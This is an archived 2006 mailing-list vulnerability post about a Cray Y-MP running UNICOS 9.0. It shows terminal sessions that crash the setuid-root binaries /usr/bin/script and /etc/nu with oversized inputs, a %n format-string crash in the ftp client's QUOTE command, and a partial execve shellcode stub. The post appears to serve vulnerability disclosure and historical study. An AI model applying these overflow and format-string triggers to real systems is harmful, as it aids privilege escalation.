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SUID root overflows in UNICOS and partial shellcode
From: Micheal Turner <wh1t3h4t3 () yahoo co uk>
Date: Tue, 10 Jan 2006 16:49:08 +0000 (GMT)

Cray PVP Exploitation (Historical Hacking)
------------------[ Misc CPU information
This Cray Y-MP EL with 4 CPUs and 1 GB of RAM is
running UNICOS Release 9.0
[guest () yel guest]$ uname -a
sn5176 sn5176 sin.0 CRAY Y-MP
[guest () yel guest]$ df
/            (/dev/dsk/root    ):    129232 .5K blocks
( 14.7%)    25880 I-nodes
/tmp         (/dev/dsk/tmp     ):   1966952 .5K blocks
( 98.3%)    62402 I-nodes
/usr         (/dev/dsk/usr     ):      7016 .5K blocks
(  0.5%)    22571 I-nodes
/usr/src     (/dev/dsk/src     ):    429312 .5K blocks
( 44.7%)    25958 I-nodes
/adddisk1    (/dev/dsk/opt     ):    704760 .5K blocks
( 58.7%)    31671 I-nodes
/proc        (/proc            ):   2007520 .5K blocks
( 97.6%)      629 procs
/onserver    (server:/disk1/exports/yel):
                                   54180728 .5K blocks
( 70.4%)
/home        (server:/disk1/home):
                                   54180728 .5K blocks
( 70.4%)
/var/sysinfo (server:/var/sysinfo):
                                    7389440 .5K blocks
( 61.7%)
/secure      (server:/secure   ):   7389440 .5K blocks
( 61.7%)

==================[ Vulnerabilities
------------------[ /usr/bin/script suid root command
line args buffer overflow
-rwsr-xr-x   1 root     bin       730000 Sep  5  1996
[guest () yel guest]$ script `perl -e 'print "A"x1000'`
Operand range error (core dumped)

------------------[ /etc/nu suid root file parsing
buffer overflow
-rwsr-xr-x   1 root     bin      1045400 Sep  4  1996

[guest () yel guest]$ echo "" >> /tmp/acid
[guest () yel guest]$ udbgen -p /tmp
udbgen: An acid file with at least one line is
        Acid format: 'account_name:account_id'
udbgen: /tmp/group: No such file or directory
udbgen: A group file with at least one line is
        Group format: 'group_name:*:group_id:'
[guest () yel guest]$ echo `perl -e 'print "A"x10000'` >>
[guest () yel guest]$ /etc/nu -p /tmp -c /tmp/script -a
admin/udb/nu/nu.c       90.7    09/03/96 10:43:53
nu: no GroupHome information in /tmp/script
Operand range error (core dumped)

-----------------[ /bin/ftp QUOTE format string vuln
(BSD ftp client bug) [non suid]
ftp> quote %08x.%08x.%08x.%08x.
command not understood.
ftp> quote %n%n%n%n%n
Operand range error (core dumped)

-----------------[ UNICOS Shellcoding CRAY PVP
The CRAY PVP does not natively support a 'syscall'
instruction(unlike the new Cray X1, where
the OS node provides a system call interface to the
other nodes.) instead, we will use the
systems standard libaries (which are linked in to
most, if not all applications). Particularly
we will focus on 'libu.a', which provides the UNICOS
Standard Library. 

[guest () yel guest]$ as -f myfile.s
[guest () yel guest]$ segldr -e MAIN myfile.o -lu
 ldr-240 segldr: CAUTION
     Entry point 'MAIN' in module 'PROG1' from file
'myfile.o' was specified on
     an XFER directive but is not a primary entry.
[guest () yel guest]$ ./a.out
[guest () yel guest]$ cat myfile.s
        IDENT   PROG1
        CALL    execve          ;; arguements required.

[guest () yel guest]$

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